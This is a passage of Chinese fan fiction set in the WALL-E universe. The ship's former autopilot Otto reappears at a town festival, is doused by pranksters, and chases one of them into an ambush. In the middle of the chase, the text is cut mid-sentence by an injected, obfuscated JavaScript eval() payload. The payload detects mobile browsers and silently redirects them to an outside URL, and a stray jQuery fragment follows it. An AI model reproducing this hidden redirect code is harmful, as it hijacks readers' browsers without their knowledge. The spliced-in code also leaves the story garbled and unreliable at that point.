他这句话仿佛一颗烟花,在镇落中间立刻炸遍了全部角落。还在准备的人们加紧了手上的动作,巷子里到处都是提着篮子、布料、食品等朝各个方向奔跑的人。不时有人尴尬地撞在一起,他们面带歉意地互相急匆匆道过歉后继续向各自的目的地奔跑。 毕竟在着陆日生气是一件不吉利的事情。 尽管大家知道撞到谁都有可能,却都不想撞上某一些家伙。 几个年轻人游手好闲地在巷子里追逐打闹,丝毫不躲闪在面前出现的人。他们像几头野牛一般直线地在巷子里冲着。那些不巧在这条路线上的人没有一个敢阻止他们,只要见到了,就立刻退到两边,等他们过了才敢继续走。 对人,他们撞了就撞了,但他们明显不是专门来撞人的。机器人可就遭殃了。不巧在他们行进路线上的机器人都遭到了他们的石头攻击。会飞的还好,不会飞的,只能趁他们还没有围堵上来的时候尖叫着找条出路窜了出去。 “恶心的机器人!”年轻人甲望着刚刚从他们眼皮底下逃跑的机器人唾出一句。 “哈哈哈哈!”他的同伙乙肆无忌惮地大笑。 他们离人群集中的地方很远了,这时整条巷子中只剩下了他们三个。 “诶对了,刚刚你们看到广场中间那个架子了吗?”丙突然对那两个人说,“看起来今天晚上又有一个欢迎仪式了。” “这年头欢迎谁啊?”甲不屑地问。“上一次欢迎都已经成大清亡的故事了。” 三个人面面相觑。过了一会儿,乙恍然大悟。 “诶,你们还记得吗,前不久镇长说那个老妖怪醒了。”乙说,但是他语气带着不确定,“可是他怎么下得来?” “不知道。”丙耸了耸肩。“去不去看他们玩什么幺蛾子?” “走呗。”乙迫不及待。 三个痞子朝巷子另一端飞奔而去。 在地球镇的另一边,一个银色的人形机器人与一个少年正不紧不慢地向某处迈进。 不太像会有什么异常事件发生的样子。奥托的镜头有规律地左右扫视,周围人看到他都会不由自主地多瞧他两眼,但看到汉在旁边,他们只是匆匆地朝奥托扫了一下就移开了目光。 除了这点之外,人们都在忙碌地拿着篮子食物什么地四处走。他们在准备所谓的狂欢。这个情报还是非常准确的。 “我们去哪里?”奥托问。 “先去见镇长,就是那个跟你谈条件的老朋友。”汉说。 他们穿过一条宽敞的路,奥托看到在街道的另一端一群人拥在一起,不时有欢呼声传来,然后奥托看见阳光中有一丝反光从人群中冒出,奥托增加了自己镜头的放大倍数,那个画面定格在了他的处理器里面。 瓦力的镜筒。正好也看着他。 奥托并不希望这个时候就跟瓦力打个正面照,连让瓦力怀疑的机会都不想给。自己的机型在星舰发射后是绝无仅有的。所幸,人群还是簇拥在一起,瓦力也没有要过来的意思,奥托和汉快步走进了前方的巷子。 格兰德老先生的房子在这个聚居区的边缘,出了巷子后,汉一眼就看到了镇长,他正在门口和一个妇人攀谈。 “快点,他还在门口!”汉对着身后的奥托喊了一句,撒开腿就向着格兰德的房子跑去。奥托紧随其后。 他没有时间去考虑自己是如何做到自己的第一次奔跑的。这种感觉仿佛早已存在,自己只不过像是坐了长时间的轮椅后,再次捡起这个技能而已。 镇长在自己房子的门廊前,他正在与面前的妇人说着什么的时候,突然被一个气喘吁吁的男孩打断了。 “格兰德先生,我以为您——”当汉看到旁边的妇人的时候剩下的半句话生生咽了下去,“哦,嗨,妈。” “你这臭小子今天跑哪儿去了?中午之后你就不见了。”女人不无责备地质问汉。 “妈我只是……”汉不知道该如何和母亲解释,他完全没想到自己会在这里碰到母亲! “好了,今天大家都别吵架。”还是镇长说得及时,“他人呢?” “呃……”汉紧张地看了下背后,奥托早已赶到了,但是他与三个人类保持了一段距离,“那里……”汉指向奥托,示意他过来。 两个成人看到奥托走到他们之间这一段时间内一言未发,女人一直用一种怪异的眼神盯着奥托,而她的声音中带着不少惊恐。 “汉。”女人尽量保持镇定地问道,“这个家伙是什么?” “哦。我忘了向你们介绍。”汉突然恢复了热情,“这是奥托。奥托,这是我妈。” “奥托?”女人警觉地上下不断打量着这个机器人,然后面带愠怒地看着汉说道:“汉,如果你在耍什么花招的话——” “我想我们之前见过面,夫人。”人形机器人突然开口了,打断了女人。“我的确是公理号的自动驾驶。”说完他伸出了右手。 女人盯着那个银色的金属手掌很久很久,最终轻叹了口气,很不情愿地把自己的右手伸了过去,活了几十年,这是她第一次与一个机器人握手。 她突然回想起自己小时候最大的愿望就是能和瓦力握一次手。但是这个愿望一直未能实现。每年她都是站在人群的外侧,眼巴巴地看着人群中心的欢腾,自己无比想进去,但是内心的恐惧却让她站在那里,挪不开一步。事后她总是回想,总是后悔,总是懊恼地发现自己莫名其妙地就放弃了这个机会。 等到她有足够的勇气去到中心欢乐后,礼节早已把她束缚成型,她总觉得自己已经不再幼稚,已经失去了那个无忧无虑不怕犯错的童年时光。青少年的面子是非常重要的。她不希望自己在耻笑中度过这个佳节。所以她选择在舞会上牵起一个少年的手,在欢舞中淘洗自我。她让自己跳舞转得快快的,省得眼睛老是盯着那个黄色的箱子。 这个黄色的拖拉机有什么好呢?她以此安慰自己。当然了,救世主一个,但是与其与这个机器人握手弄一手泥还不能和面还不如就远观瞧瞧。跟谁握手都一样。当她的生活变得忙碌起来后,她更是早已无暇思考这个问题了。整天打理这个家,还得牵住一个小兔崽子加个老兔崽子,生活已经磨平了她细腻的内心。 除了冰凉干燥的触感之外,坚实的力度把她拉回了现实。 “比那个轮胎好多了。”她面无表情地看着奥托说。“还算有礼。” “妈,他就是那个奥托。”汉哭笑不得地说,“他根本没变。” 女人没再说什么,她神色漠然地看了汉一眼。 汉感觉妈妈的态度对奥托已经发生了转变,他顺水推舟地笑着朝他妈说:“妈,让奥托住我们家如何?” “不可以。”女人突然回过神来,“我们家不允许住机器人,你忘了吗?” “妈可是他——” “没有可是。”女人态度坚决。“你以为我对他印象有点改观就能容忍他吗?什么条件都不许。现在我要走了,你最好快点解决你的问题。”然后她头也不回地离开了。 汉一脸不解地看着态度急剧转变的妈妈离身远去。 “格兰德先生,长官。”奥托见女人已经离开,转过身来对镇长说道。同样他也伸出了右手。 “别叫我长官,奥托。”格兰德笑了,伸手出去,“大家都叫我老迪。” 握手过后格兰德扯出几把椅子,“我们坐下来谈谈吧。”他示意奥托也坐下,“关于今晚,我们给你准备了一个活动,不知道你是否有所了解。” “一点。”奥托不打算撒谎。 “这是庆典中比较重要的一环,只是不是年年都有,上一次已经是好几年前了。”格兰德说,”这也是你以一个全新形象给大家好印象的机会,你刚刚不就做到了吗?” “内容是什么?” “这个是秘密,奥托。”格兰德无奈地摊摊手,“我不能告诉你,但是我可以帮你重塑形象。你甚至可以以后都不以奥托来称呼自己。你有别的名字吗?” “……没有。”奥托搜索了一遍自己的记忆后,有些犹豫地回答。“镇长,我很抱歉我恐怕不能参加这样的活动。” “为什么?” “不适合。”暮光中,奥托鱼眼镜头内的红色开始隐隐可见,“或者说,我没准备。” “这你可以放心,”镇长温和地说道。“到时候该做什么我们会告诉你。” 奥托顿了一下,往后靠在椅背上,“格兰德先生,我得到了一些有关于此类庆典的信息,那是一场混乱。” 镇长盯着这个机器人好一阵子。 “对,他就怕这个。”汉突然插嘴对镇长说,“他认为我们要整他。” “是这样的吗?”镇长疑惑地看着奥托。 “没错。”奥托毫不回避。 “哦。”镇长看着奥托微微点头,他转头瞟了一眼只剩微光的地平线,又转回来。 “想必你是知道之前几次的情况了。”镇长对奥托说,后者微微点了下头。”不过这次我严令过那些筹划这次活动的人,我保证,不会有任何侮辱你人格的事情发生。” “拜托,奥托。”汉见奥托久不表态,怂恿道,”镇长的保证你都不信吗?”然后他使出了杀手锏。”你都带着大船在天上几百年了,就怕这十几分钟?” 夜幕降临后奥托眼中的红光完全显现了。久留地面上的红斑终于移动到了镇长脸上。 “我该做什么?”奥托问。 太棒了!汉差点狂笑出声,不过他很好地把激动隐藏在了心里,他只是不由自主地以几乎不能为人察觉的幅度周身一抖。 “很高兴你同意了。”镇长脸上的笑容越来越明显,他把宽厚的手掌放到奥托肩上拍了几下。”现在我就告诉你。” 广场上。 “看到那个架子了吗?”丙从巷子中探出头来,对后面隐藏在墙的阴影中的两位努了努下巴。 三人把头探出去,看到架子上的大家伙,甲吹了声口哨。 “真棒,真棒。”乙笑着说。”我都迫不及待想看看是谁会被倒插进去。” “前方安全!”已经迈出去查看敌情的甲对后面两人招呼道,”趁现在没人,上去看看里面是什么。” 三个人借着墙的阴影接近到架子的位置,现在他们就是剩下20米冲出阴影跑上架子看那个大家伙里面是什么。 “你先上去!”乙朝着甲说,”你个子高,看完过后过来跟我们讲。” 甲默许了这个提议。他飞身上架,敲了敲那个大家伙,然后使劲踮起脚尖往里面瞧了一眼。 乙和丙都紧张地看着同伴的动作,同时祈祷着广场上别有人。”看到啥了吗?” 甲却好像没听到同伴的声音。他往里面看了一眼,却好像被深深地震惊了,然后他疯也似的探着手进去了,大半截身子没进了大家伙里。 “大哥!”乙惊慌地对甲喊道,”快下来,别伸手进去了!” 微光中乙和丙只看见甲好像甩掉了一手什么东西,然后听见甲阴阳怪气带着怒火的声音。 “他妈的,都什么玩意。”甲不悦地跳下了架子。”这他妈都什么。” “什么东西?” “就这些鬼玩意。”甲找到自己手上还粘有的一些内容物,给自己的同伴看了。 两个人眯起眼睛看了一下那个东西,然后同样鄙夷地骂开了。 “我操,有病。” “真他妈恶心。” 三个人面面相觑,丙先开口了。 “我们怎么办?没戏看了这。” “给他们加点料。”甲说,”今天不看到劲爆玩意绝不睡觉。” “加什么?”乙问。 “过来,我知道哪里有好东西。”甲带着他们溜出了巷子。 几百米外,一个冷库。 “诶大哥你确定要加这么沉的东西进去吗?”乙和丙吃力地说道。 “傻啊,不会砸开它吗?”甲鄙夷地推开了他们,拾起旁边一个锤子对着这个沉重物体就咣地砸下去。碎片碎了一地,但主体依然很巨大。 “快点砸,然后我们用这些袋子装着带出去。”甲命令道,”快!待会我们上去都没机会了。” 当他们抱着这堆碎片出去之后,差点碰上了正从镇外拥进广场的人群。 “大哥!”乙和丙惊恐地说道,”我们没时间了!” “有时间的,有时间的!”甲此时也累得筋疲力尽,但是他有足够的信心赶在人群进入广场之前赶到架子上。 他是对的。架子并不在广场中央,所以他们借着阴影迅速地来到架子处。有几个小孩已经在那里了,对着架子大呼小叫。甲把自己包装成工作人员,严厉地呵斥这些小孩,把他们吓得跑得一个不剩。 甲先上了架子,他把袋子中的碎片全都倒进了大家伙里,然后他接着下面两个同伴抗在头上的另外两个沉重的袋子,全都倒了进去。 工作做完之后,他不忘再次探身进去,用手臂使劲地搅了搅,然后尽他全力想摇一下这个大家伙,却失败了。但他没有继续纠缠,而是跳了下来。 “行了,我们回去装乖一点,那几个小孩不敢惹我们的。”甲对乙丙说。 “地上那些呢?”丙不失时机地指了指地上的碎片。 “等他们过来都化了。”甲毫不留意地说,”而且谁会在意地上那些硬东西?都是石头。” “那里面的化了怎么办?”乙又提出来。”不会漏出来吗?” “化了就化了呗!”甲愠怒地说,”那是陶做的,而且,还有很多大家伙化不了!” 广场上坐满了人,架子前面的大舞台上正在进行热闹非凡的歌舞表演。 汉和奥托坐在很靠边的地方,但是他们非常靠前,这都是镇长的功劳。 这个联欢晚会不仅仅是人的特权,机器人也在观看。不少能悬浮的机器人占领了人头上方的领空,那些不会飞的机器人在底下不满地对上方的同伴叽叽歪歪过后,总会有一个悬浮的机器人摇摇晃晃地下降了高度,然后吊一个底下的同伴上来。 更小的机器人反而不用向会飞的机器人求救。它们借助自己小而灵巧的体型迅速地占领了人类座位的前排,在人们的脚边停下观看。 在如此众多的机器人摄像头之下,任何异常的人或机器人都逃脱不掉,奥托当然早就被盯上了。 他知道公理号通讯网络里面已经炸开了。从一大堆各色各样的下属发的他坐在现场的图片到疯狂的成千上万条他的通知,他决定一概不予理会。 对于坐在他周围的人们来说,他也是一个不容忽视的角色。 汉把他隔在一边,不让他直接接触其他人。当周围的人盯着奥托好一阵然后狐疑地开口问那是谁的时候,汉泰然自若地回答道: “哦,那是最新的探索者型号机器人。” 汉说的完全正确。当得到他回答的人以更加怀疑而且略带怒气的眼光看着这少年的时候,汉给了奥托一个眼色,后者转过身来面对那个人,以自己的红色镜头作为光源照亮了左胸上的标志,EP字样清晰可见。 “现在我们不是已经有执行探险任务的机器人了吗?”那个人依然怀疑地问道,”怎么又来一个?” “不一样的,这是最新的。”汉说,”而且这是格大大的决定。” 那个人松了口气,自言自语道:”嗯,那个红眼睛总让我想起一些不好的故事。” 可是汉听到这句话后却更加紧张了。这个人的话语中充满着对奥托的不信任,现在是拖住他了,可是待会当奥托上去后该怎么办? 就在这时,一个小机器人挤到了汉和奥托的脚边,这个小机器人抬起他的”头”,带有两条蓝色条带的视觉屏正对着奥托。 “滋——叽咕叽叽——咕吱——”这个小机器人用电子语言开口了。 汉怀着强烈的好奇看着他们要如何对话。 奥托听罢,只对那个机器人说了两个字:”离开。” 汉惊得下巴都要掉了。在人类群体中,用这两个字来回答别人是非常专横的行为。但是他看那个小机器人却没有沮丧或者恐慌的意思,反而兴高采烈地摇着自己的机械肢重新潜入到后面的人群中。 如果翻译一下刚刚的情景,事情是这样的。 “公理号之家”已经吵得不可开交,因为老大一直都没表态,安插在各处的线人都陆续反映这个神秘的人形机器人只肯说明自己的身份是探索者,而且从亮出的胸牌来看,上面的刻纹风格的确显示他是经过BNL公司登记过的机型。 但是机器人没有人好骗。他们很快搜遍了所有舰载船员机型和地球留守机型,全然没有这个类型,而且存储清单上即使标有探索者型号的机器人,他们的模样与人形一点都搭不上边。 他们甚至还去骚扰一向活跃的电子工程机器人,他们这次对此事居然反常地沉默。所以几乎所有在线的机器人都判定这件事一定有鬼。 信息传播是飞速的,一些嘴大的机器人总是能提供各式各样的证据和理论来给大家推理,然后大家一致把这个神秘机器人的身份指向了奥托。现在就差一件事,就是得到他本人的确认。 老大不可能没看到之前洪水般的提醒信息,这证明了他并不想让大家知晓此事。这就麻烦了,如何才能让老大开口呢? 于是他们选出一个敢死队,每个机器人都打算采用不同的方式让老大开口。队员的出场次序都有排列,就是以防一个不成功,接下来的还有机会。当然了,这个行动的策划都是在他们自己建的群组里躲着老大商量的。 结果没想到,这个探索者机器人刚听队员一讲了没两句,老大的信息就发到大群里了,直接声明了自己的身份,而且并未责备任何机器人。但他加了一个条件就是让所有机器人在他向人类宣告自己身份之前别向人类透露信息。 而那个”离开”纯粹是讲给人听的。机器人的世界比人简单多了,虽然他们能与人类对话时根据人类的表情与语气来选择表意相近的词组,但是互相交流间没有那么多的情感差别,用人类的词语,有时候人听上去蛮横无礼,但是能给机器人传达更加准确的内容。为了向人类表示自己互相之间的交流已经结束,能较好发出人类语言发音的机器人都会在对话结束后说一个词来提醒人类现在可以交流了。 “公理号之家”里又掀起了一波狂澜,刚才沉默的电子技师机器人这下彻底复活了,船员机器人自己弄的小群里面各种黑历史和段子开始像病毒一般传播。 在看到他们交流的人眼里,虽然汉与这个机器人坐一起让他们觉得非常奇怪值得怀疑,但小机器人讲的听不懂,从人形机器人嘴里冒出的这句话也没让他们找出个所以然,所以对其身份好奇的其他人类也只能作罢。 “感谢大家在这一年里面的艰苦奋斗!”所有表演结束后,镇长上来讲话了。”今年的着陆日庆典与往年不同,今年,我们地球镇迎来了一个新成员。” 汉悄悄地用胳膊肘顶了一下奥托。 “他的身份非常特殊,但是他怀着和平合作的理念来到我们之间,全心全意帮助人类发展。” 坐在汉周围的人有些吃惊却又感到情理之中地看着汉和旁边那个跟他差不多高的机器人站了起来。 “现在,热烈欢迎我们的新成员!”镇长把手伸向已经向舞台中央走过来的汉和奥托。 人们全都安静了下来,几千双眼睛都看着黄色钠灯下泛着暗黄灰色光泽的人形机器人。 如果人们对这样的仪式非常熟悉的话,他们应该能发现镇长这次的这句话缺了一点内容——就是直接声明这个新成员的身份。 机器人们早就发现了这个纰漏,但出于老大的命令都缄默不语。 “感谢格兰德先生给予我这样一个机会站在这里与大家一起欢度佳节。”带着金属泛音的清冷嗓音借由话筒传遍了广场的每个角落,”我是一个探索者机器人,编号EP-003,但我不叫伊斯普尔。” 全场沉默了,随后窃窃私语的声音开始起来。 人形机器人将红色的目光投向了站在一旁的镇长,镇长点了点头。 “我是奥托,前公理号自动驾驶。”金属嗓音重新回荡会场。”我已准备好重新为大家服务。” 全场轰地静默了一秒。 然后又轰地炸开了声。 汉听到了自己周围的观众们的讨论,杂乱的情绪油然而起。 “他?奥托?” “我还以为重启就算够了,怎么放下来了……” “这不可能……” “我早告诉你就是了!你都不信……” “感谢奥托的自我介绍。”镇长接过麦克风,边说边退到舞台边上,”现在让我们热烈欢迎他的回归!” 全场的气氛都被带动起来了,但是带动气氛的不仅仅是镇长的话语,而是他们面前的大场面。 那个大家伙在镇长说话的时候就被抬了起来。巨大的缸口慢慢地由张口对天变成面向人群,黑洞洞的缸口从一条线变成椭圆,再变得越来越圆。将自己完美的圆形给人们闪了一下过后,再次在透视中变成椭圆。 奥托按照镇长的指令一直都站在那个架子的前下方,他在镇长说完后张开双臂,表示自己愿意拥抱人们,也愿意接受人们的包容。 巨大的陶瓷缸在慢慢倾倒。 人们全都站了起来,对着奥托开始鼓掌,喧闹的人声越来越大,越来越有节奏,不时夹杂着尖锐的口哨声。 奥托站在那里,头顶上的轰鸣声和眼前人们的反应让他感到越来越不安,内置警报提示闪烁地越来越剧烈,但他出于镇长的指令只能一动不动地张开手臂站着。 他不由得朝镇长看了一眼,后者给予他坚定而不容商榷的眼神,让他只能依然遵照镇长的指示。 随着大陶缸的内容物终于从硕大的缸口倾泻而下,人们的声音抑制不住地猛地拔高,变成了激动的嚎喊,刚刚有节奏的掌声瞬间变成了暴风疾雨。 奥托只觉头顶一凉,成千上万的细小颗粒从天而降浇透了他全身。他不由得把手收回来,手上除了沾满了那种软软的不明淡黄色颗粒物顺带感知到一种莫名其妙的芳香族化合物存在之外,手指金属上的液体反光让他浑身一震。 水……水?!?! 全处理器的单元全炸了开来,瞬间所有的人声灯光全化作乌有,腿上的伺服电机突然失去了控制,他感到自己被一种巨大的力量往后一推,让他使劲弹了出去,立刻他的头就咣地撞在了后面的钢架子上。足足过了四分之一秒他才意识到自己还贴在上面。 没等他重新站起来,一堆尖锐的晶莹碎片和着那些颗粒从天而降,一阵阴风猛地压下来,”嘭”地一声巨响,一个巨大的晶体炸在了地上,抛出的晶莹碎片画出一条条优美的抛物线,上升到各自的最高点,折射了一下最亮丽的灯光,然后把自己最尖利的刀刃狠狠地借由引力加速指向自己的目标。 人群瞬间安静了下来。 奥托贴在钢架子上,红色的镜头不离冰块炸开的位置半点,过了好一阵子,他才意识到自己全身都在发抖。 广场上的人从各自的座位上一跃而起,议论声谴责声尖叫声充斥全场。汉从边缘跑了过来,大声呼喊着奥托,声如混沌般渺远。镇长朝奥托看了一眼,拿出自己的通讯器愤怒地讲着什么。 汉已经跑到人形机器人身边,他抱住机器人的肩膀,使劲地摇着,用他最大的声音对着呆滞的机器人的音频接收器狂喊。 “奥托!你还好吗?!”他的声音宛如从遥远的地方传来,”你快说话啊!你周身都在抖!” 汉几乎把脸都贴到那个泛着无神红光的圆形鱼眼镜头上了,但是男孩的脸仿佛失焦了一般模糊不清。他是在使劲摇晃着自己,但摇晃的仿佛是另一个机器人的躯壳。 令汉没有想到的是自己周围居然围上来好几个机器人,他们悬浮在空中,看着自己的老大瘫在架子上,神色焦急地互相用电子语言交流,然后它们飞一般地又四散开去。 在冰块落下的那一瞬间,”公理号之家”里突然被奥托的信息刷屏了。 每一条信息的内容都一样,都是一张在不断循环变换样式的黑白点阵图。 这对于人类来说匪夷所思,但是机器人运作采用的是二进制,这张点阵图的闪烁和黑白两色就代表了二进制代码,只要放到处理器里,里面表达的意思和发送者表达的意思完全一致。换句话说,就好像是别人直接将他的所想灌到你的思维里面,你体会到的意思和他要表达的意思完全一致,他想表达的情感能完全被你所感受。 一张图翻译过来就是无限循环的大写的卧槽。 病毒般刷屏的这个动图展现奥托内心的大草原上现在有乌压压的成万上亿只草泥马飞驰而过。 就快要刷爆所有机器人的处理器之前,这个动图的发送截然而止。取而代之的是隔着交换机都能听到的奥托的咆哮。 【哪个王八蛋干的?!快查!!】 当天架子周围所有的信息影像瞬间应奥托的急令灌满了机器人通讯网络。而在他高端人工智能的疾速筛选下,三个青年的脸被他锁定了。 然后他立即要求所有机器人给出这三个青年的位置信息。几秒过后,三个聚在一起的红点闪烁在广场某处的平面地图里。 【侍卫待命!】奥托点出了所有的侍卫机器人,【立刻前往控制这3个人类!】 出乎他意料的是侍卫机器人没有一个回应。 【反了你们这是?!】他再一次咆哮。 网络中静默了好一阵。 【老大,这3个人类攻击所有的船员机器人。】一个前服务机器人打破了寂静,提醒奥托道,【侍卫机器人被他们攻击过很多次,不少同胞因此永远地停止了运作。】 从停止刷图到现在为止耗时总共不超过10秒。 “奥托!你快——”汉还在摇着人形机器人,但突然面前的红色镜头猛然收缩了光圈,汉愣了一下,没等他反应过来,奥托的手臂猛地把他格到了一边,在汉惊恐的目光中,奥托开始飞速穿过人群,向着某处直指目标。路上不时有人的尖叫声和推搡声传来。 “他在干什么?”镇长突然发现了这个情况,他盯着在人群中直线穿梭的奥托说。几秒过后,他拿起通讯器,开口了。 “目标有变,注意,目标有变,现在全体成员盯紧奥托的去向,他现在还在广场中,看住所有出口,一旦发现他的目的和位置立刻报告!有必要的话破坏他的行动能力!” “我得跟着他。”汉边说边向着奥托的位置冲了过去,但他的衣领立刻从后面被扯住了。 他愤怒地转头,迎上镇长毫不妥协的目光。 “太危险了,孩子!”镇长板着脸,眼里却充满了担忧,“你不许过去!” “他根本不会伤害!”刚刚听到镇长命令的汉知道如果自己不过去奥托可能会怎样,他使劲甩开了格兰德先生的手,头也不回地飞奔而去。 另一边,三个年轻人正在边笑边走,企图混在人群中出去。 “都是你!”丙指着甲的鼻子,“出的什么馊主意啊,大场面根本没有!” “我操,那不叫大场面啊,”甲嗤之以鼻,“千年面瘫今天吓傻了,你说这是不是千年一遇的奇观?” “我看麻烦要来了。”乙不安地说,“我们倒得太密了,那些冰块结回去了,结果特么掉出来一个大冰坨子。格姥姥早晚要查到我们头上。” “查他妈就查咯,又不是第一次被查——” 丙听到后面人群传来不正常的惊叫声,不由得回头去瞧,眼前的情况让他愣住了。 当他反应过来后,他惊恐地拍了拍同伴的肩膀。 “喂喂喂。” 他们仨回头,眼前的一幕令他们永生难忘。 一个发着耀眼红光的单镜头机器人正疾速穿过人群,正以箭一般的速度直指他们而来! “还愣着干啥?快他妈跑啊!”甲撒腿之前使劲推了两个同伴一下,他们这才回过神来,没了命地撒腿狂奔。 “停下!”奥托已经看到他们的身影了,骤然拔高了音量。他周围的人群都被这突然的金属音一震,连忙连爬带滚地给他让道。“抓住那3个人!”他看这3个人已经开溜,对着吓尿了的群众指向他们道。 人们避他尚且不及,更何况帮他! “他太快了!”奥托突破人墙后与这3个人的距离明显缩短,乙惊恐地喊道。 “分道走,引到O区(Zone O)去!”甲对着同伴们吼道,“分!” 此时在广场出口守着的一个身影也开始朝着他们动了起来,他在尽力跟上人形机器人的同时对着通讯器说道: “A出口,A出口,他在追赶3个青年,”这个警卫边跑边说,“封锁O区。” 奥托咬定了一个速度最慢的青年,他们的距离缩短得更快了。眼看就要追上,这个青年突然忽地一蹦,跳上了一截短墙,没跑几步,他的鞋子转而踏上了旁边的高墙上,单手撑住了旁边的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706272|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗沿,忽地翻过了高墙到了另一边。 “呜呼!”这个青年好像跑爽了似的嚎了一声。 奥托借由速度优势,猛地窜上那节短墙,金属脚使劲蹬在高墙上,也学着这个青年飞檐走壁,翻到墙的另一边,落下后,他发现这根本不是街道,而是屋顶。他锁定那个青年的身影,紧咬不放。 这个青年好像已经忘了自己还在被追这码事,在屋顶上狂奔,到了一个边缘往上一窜,轻盈地落到另一个屋顶上,好似在耍轻功。他每跳一下都陶醉似的嚎一声。 “呜呼!” “伊哈!” 奥托敢保证,就算看不见这个青年的身影,他也能通过叫喊的声音判断出位置。他的速度丝毫未减,靠着惯性他也在屋顶之间飞跃而过。 虽然青年在屋顶上不断变换方向,跳到不同方向的屋顶上来甩掉奥托的追赶,但在最后一个屋顶上,两个屋顶之间的距离长了一点,青年落下的时候,不知是体力不支还是没有踩对地方,狠狠地趔趄了一下。就在他刚打算起步奔逃的时候,他的衣领被什么东西狠狠挂住了。 回头,挂住他衣领的不是别的东西,正是那个红眼机器人的金属手。 恐惧从青年的眼里流露。他盯着人形机器人的红色镜头,那里面看不出一点点的情绪。只有死死锁住他手腕的冰冷金属肢体提示了这个机器人情绪的一点点可能。 “你的头儿呢?说!”奥托锁紧了年轻人的手腕。在刚刚追赶的过程中,他同时也在分析这3个人的关系,结果分流了才发现自己追的不是带头的。 他本可以更快发现的。但是一进入这个诡异的所谓O区,他就收不到任何机器人的信息了。自己仿佛被隔离了一般。 年轻人眼含恐惧,但是很快化作了反抗。他发狂似的扭动着身体,想甩开这个看上去比他矮小的机器人。 年轻人的动作只让他被奥托锁得更紧。奥托把年轻人顶到屋顶通道的墙上,年轻人惨叫一声。他本想把这个机器人踢开,结果奥托先行一步,使劲地踩住了他的脚。 “不要反抗。”奥托镜头的红光映在年轻人的脸上,金属脚随时准备着旋扭被踩的血肉之躯,“否则不要怪我折断你的骨头。” “你……你想干啥?”年轻人喘着气,结结巴巴地颤抖说道。 “告诉我你的大哥去哪儿了,”奥托说,“然后,老实点,跟我走。” “我……我特么怎么知道他跑哪儿去了。”青年恐惧地咽了口口水,“他又没告诉我。” “也许你想先打个石膏再讲?”奥托的金属脚开始慢慢碾着底下的足骨旋转。 “啊——啊!”剧烈的疼痛让年轻人无法忍受,“我不骗你!他真没告诉我!”他的声音中有恳求的意味。 “现在,老实点,走。”奥托停止了碾扭。 他正要把年轻人从墙上拽起来的时候,突然瞥到屋顶下方的某处似乎隐隐约约闪了一下火光。 奥托立刻拽着年轻人卧倒。砰的一声随即传来,那个物体擦着他的金属表皮疾驰而过。 几秒过后,年轻人正要爬起来,被奥托一把按倒。 “危险。” 年轻人突然老实了很多,他立刻放松下来。虽然一只手腕还被奥托扣着,但他居然非常听话,没有趁这个奥托控制如此薄弱的时机逃脱,连尝试都没有。他趴在地上,头偏向另一侧,呼吸很快平稳下来,刚刚剧烈起伏的背现在恢复了平静。 许久过后,年轻人转过头来面对这个红眼机器人,脸上居然露出一丝笑容。 “你知道吗?”年轻人的笑容愈来愈大,“你这本事真是让人刮目相看。” 什么?奥托被青年突然转变的态度弄得警觉起来。 “麦克雷舰长说的是对的。”年轻人继续了他的话,“果然啊果然,你的居心,永远是黄鼠狼给鸡拜年。” 奥托内置的红外热像仪呈现的图像突然让他的处理器报警了。这个配置,本来是在探索新环境探测未知情况下用的,但现在它搜到的周围红外信号让奥托越来越紧张。 本来底下的民居里面都有人,他们刚跳上这栋屋顶的时候奥托就“看”到了下方这栋屋子和周围民居里面的红外信号。但是现在,奥托看到那些红点正在慢慢从屋子里移动到街道上,开始集结,而身下这栋屋子的红点距离他越来越近。 该死!他当初忽略了一点,如果都是正常的民居,那些红点不会在听到这么大的惨叫声后都不出现一点点骚动,更不会开始如此有规律地集结。 那发子弹,奥托知道是针对自己的。就算他没有按倒年轻人,这发子弹都不会伤到年轻人的一点点皮毛。相反,如果他不卧倒,子弹将从侧面洞穿他的胸膛。 年轻人态度的骤然转变,楼下集结的红点,那发子弹,以及一开始进入这个区域后就被莫名其妙屏蔽的信号……奥托感到大事不妙。这是一个陷阱! 原来那些卫兵机器人拒绝他的命令的确事出有因! “麦克雷不让唤醒你,果然啊果然,”年轻人把头靠在冰冷的屋顶上,边讲边笑了起来,“当时害人,差点电死他,现在果然证明了你只还会继续伤人,而不是像你刚刚振振有词的和平共赢!” 红点越来越近,越来越密集,奥托不想花任何心思去反驳年轻人了。他宁可立刻离开这个诡异的区域,也不想赌哪怕八成的概率底下的红点居心善良。更何况,他认定那些红点一点都不比现在好像在跟他闲谈的年轻人好到哪里去。 虽然音频接收器旁边还充斥着年轻人的长篇大论,但奥托已经没有在思考年轻人讲的内容的含义了。他扫描到外面一处街道上根本没有红点,不由得停住快速思考。 这是怎么回事? 现在根本无法获取定位。奥托不顾还在滔滔不绝的年轻人,翻身而起,打算借着屋顶边缘比平台高的位置优势匍匐到那个街道对应的屋顶边缘来看看是不是一个陷阱。就在他动身之时,年轻人突然抓住了他的脚踝。 “诶你急着走啥啊?”年轻人带着诡异的笑容看着红眼机器人,”你不是要带上我吗?” 屋子底下的红点越来越近了,近在咫尺! 奥托使劲甩了甩脚,不能甩掉年轻人的手。他又不能站起来。谁知道底下有没有等着任何一个人露头的枪口?他不再理会年轻人,径直拖着年轻人爬到了边缘往下看。 他立刻明白了没有红点的原因。那是一个死胡同,跳下去也是死路一条。 身上骤然增加了重量。年轻人突然扑到了奥托身上,使劲压住了他。就在这时,屋顶突然砰地一声,在屋顶另一边的通往天台的门被一脚踢开,人的脚步声和说话声紧随而至。 “他在这里!快抓住他!”年轻人把自己全身的重量都压在奥托身上,扭头向那帮进入天台,手中手电筒的白光在到处扫射的人群大喊。所有手电筒的白光在听到这一声大喊后立刻全部聚焦在屋顶那一角,人们立刻朝奥托的方向奔来。 只有一种办法能够延缓被抓。恐惧中,他望着没有红点的那个街道的方向。 迟早都得被抓。 